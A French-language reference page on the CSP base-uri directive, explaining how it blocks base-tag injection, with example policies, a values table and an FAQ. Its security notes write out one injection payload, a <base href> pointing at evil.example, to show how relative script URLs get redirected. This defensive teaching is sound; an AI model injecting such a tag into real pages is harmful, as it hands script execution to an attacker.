La directive base-uri, bloquer les injections de balise base

La directive CSP base-uri restreint les URL autorisées dans le href de la balise base et ferme un vecteur XSS courant par injection de balise base.

La directive base-uri contrôle quelles URL peuvent apparaître dans l'élément <base href> d'un document. La balise <base> réécrit l'URL de base par rapport à laquelle chaque lien, script et formulaire relatif de la page se résout, donc un attaquant capable d'injecter une seule balise <base> peut pointer en silence toutes vos URL de script relatives vers un serveur qu'il contrôle. base-uri est la directive qui ferme cette porte.

La plupart des sites ne définissent jamais de balise <base>, donc verrouillez-la entièrement :

Content-Security-Policy: base-uri 'none'

Chaîne de repli

base-uri n'a pas de repli. default-src ne la couvre pas, donc si vous l'omettez de votre politique, il n'y a aucune restriction sur <base>, aussi strict que soit le reste de votre CSP. Son omission est ainsi l'une des lacunes les plus courantes et les plus dangereuses d'une politique par ailleurs solide.

Valeurs

base-uri prend une liste de sources, avec la même grammaire de valeurs que les directives fetch, mais elle n'accepte ni nonces ni hashes (ceux-ci décrivent du contenu, pas une URL de base).

Valeur	Statut	Description
`'none'`	✅ Bon	Interdit à tout élément `<base>` de définir une URL de base. Le choix recommandé pour la plupart des sites.
`'self'`	✅ Bon	Autorise un `<base href>` uniquement sur l'origine du document (schéma, hôte et port).
Source d'hôte ou de schéma	✅ Bon	Autorise un `<base href>` correspondant à cette source d'hôte ou source de schéma. Rarement nécessaire.

Si le href d'un élément <base> ne correspond pas à la liste de sources, le navigateur ignore cet élément et la page continue de résoudre les URL relatives par rapport à l'URL du document.

La plupart des sites n'ont pas du tout besoin de balise <base>, donc base-uri 'none' est le bon défaut. N'utilisez 'self' que si votre application définit réellement une URL de base same-origin. N'utilisez pas de joker ni de schéma large comme https: : une valeur permissive annule l'intérêt de la directive, car elle laisse une balise <base> injectée rediriger les URL relatives vers n'importe quel hôte de ce schéma.

Exemples

Verrouiller complètement <base> pour une politique stricte typique :

Content-Security-Policy:
    script-src 'nonce-r4nd0m' 'strict-dynamic';
    object-src 'none';
    base-uri 'none'

N'autoriser qu'une URL de base same-origin quand votre application en définit une :

Content-Security-Policy: base-uri 'self'

Notes de sécurité

base-uri bloque l'injection de balise base, une escalade de cross-site scripting (XSS) qui transforme une seule balise injectée en contrôle sur de nombreuses ressources à la fois. Prenons une page qui charge ses scripts avec des chemins relatifs :

<script src="/js/app.js"></script>

Si un attaquant injecte <base href="https://evil.example/"> plus tôt dans le document, le navigateur résout /js/app.js par rapport à l'origine de l'attaquant et charge son code à la place. Votre liste d'autorisation script-src s'applique peut-être encore, mais une liste à base d'hôtes qui fait confiance à l'origine du document peut être contournée, et même une politique à base de nonces peut être fragilisée quand les URL relatives se déplacent. Définir base-uri 'none' supprime entièrement le levier <base>.

Contournements et risques connus

base-uri ne régit que l'élément <base>. Elle n'arrête pas un attaquant qui peut injecter directement une URL de script complète ; c'est le rôle de script-src. Traitez base-uri comme une couche d'une politique stricte, pas comme un contrôle autonome.

Le plus grand risque est l'omission, pas la mauvaise configuration. Une politique avec un script-src solide mais sans base-uri porte toujours la faille d'injection de balise base, et l'erreur est facile à commettre parce que rien d'autre dans la politique ne la signale. Passez votre politique dans l'évaluateur CSP pour repérer un base-uri manquant avant la mise en production.

Recommandation

Content-Security-Policy: base-uri 'none'

Déployez base-uri 'none' sauf si votre application définit un <base> same-origin, auquel cas utilisez 'self'. La cheat sheet CSP de l'OWASP et les recommandations strict CSP de web.dev incluent toutes deux base-uri 'none' dans la politique stricte, à côté d'un script-src à base de nonces et de object-src 'none', parce que les trois ensemble ferment les principaux chemins d'escalade par injection de script.

Reporting

Quand la directive bloque un élément <base>, le navigateur émet un report csp-violation nommant base-uri comme directive effective. Configurez la livraison avec la directive report-to et le header Reporting-Endpoints.

Prise en charge par les navigateurs

base-uri fait partie de CSP niveau 2 et niveau 3 et est largement prise en charge par les navigateurs actuels.

FAQ

Contre quoi base-uri protège-t-elle ?

base-uri bloque l'injection de balise base, une escalade XSS où un <base href> injecté réécrit l'URL par rapport à laquelle chaque script et lien relatif se résout, les pointant en silence vers le serveur d'un attaquant. Définir base-uri 'none' supprime entièrement le levier <base>, même quand le reste de votre politique est strict.

Faut-il mettre base-uri à none ?

Oui pour la plupart des sites. Peu de pages définissent une balise <base>, donc base-uri 'none' est le bon défaut et interdit à tout élément <base> de définir une URL de base. Utilisez 'self' seulement si votre application définit vraiment une URL de base same-origin. Évitez un joker ou un schéma large comme https:.

base-uri